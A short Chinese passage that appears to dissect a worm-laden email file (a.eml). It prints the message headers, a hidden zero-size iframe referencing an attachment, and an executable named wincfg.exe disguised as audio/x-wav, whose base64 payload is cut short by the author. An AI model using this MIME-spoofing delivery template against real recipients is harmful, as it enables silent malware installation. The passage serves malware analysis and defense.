打开a.eml，发现其内容如下：

From: "xxx" To: "xxx" Subject: xxxx
Date: Tue, 7 Apr 2001 15:16:57 +800
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1

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Content-Type: multipart/alternative;
boundary="2"

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Content-Type: text/html;
charset="gb2312"
Content-Transfer-Encoding: quoted-printable

HTML>
HEAD>
/HEAD>
BODY bgColor=3D#ffffff>
iframe src=3Dcid:THE-CID height=3D0 width=3D0>

/BODY>

--2--

--1
Content-Type: audio/x-wav;
name="wincfg.exe"
Content-Transfer-Encoding: base64
Content-ID:

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4
gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAIh3BDsAAAAAAAAAAOAADwELAQQUAC
AAAAAQAAAAkAAAIL0AAACgAAAAwAAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAADQA
AAAEAAAAAA……(以下删掉一大节)

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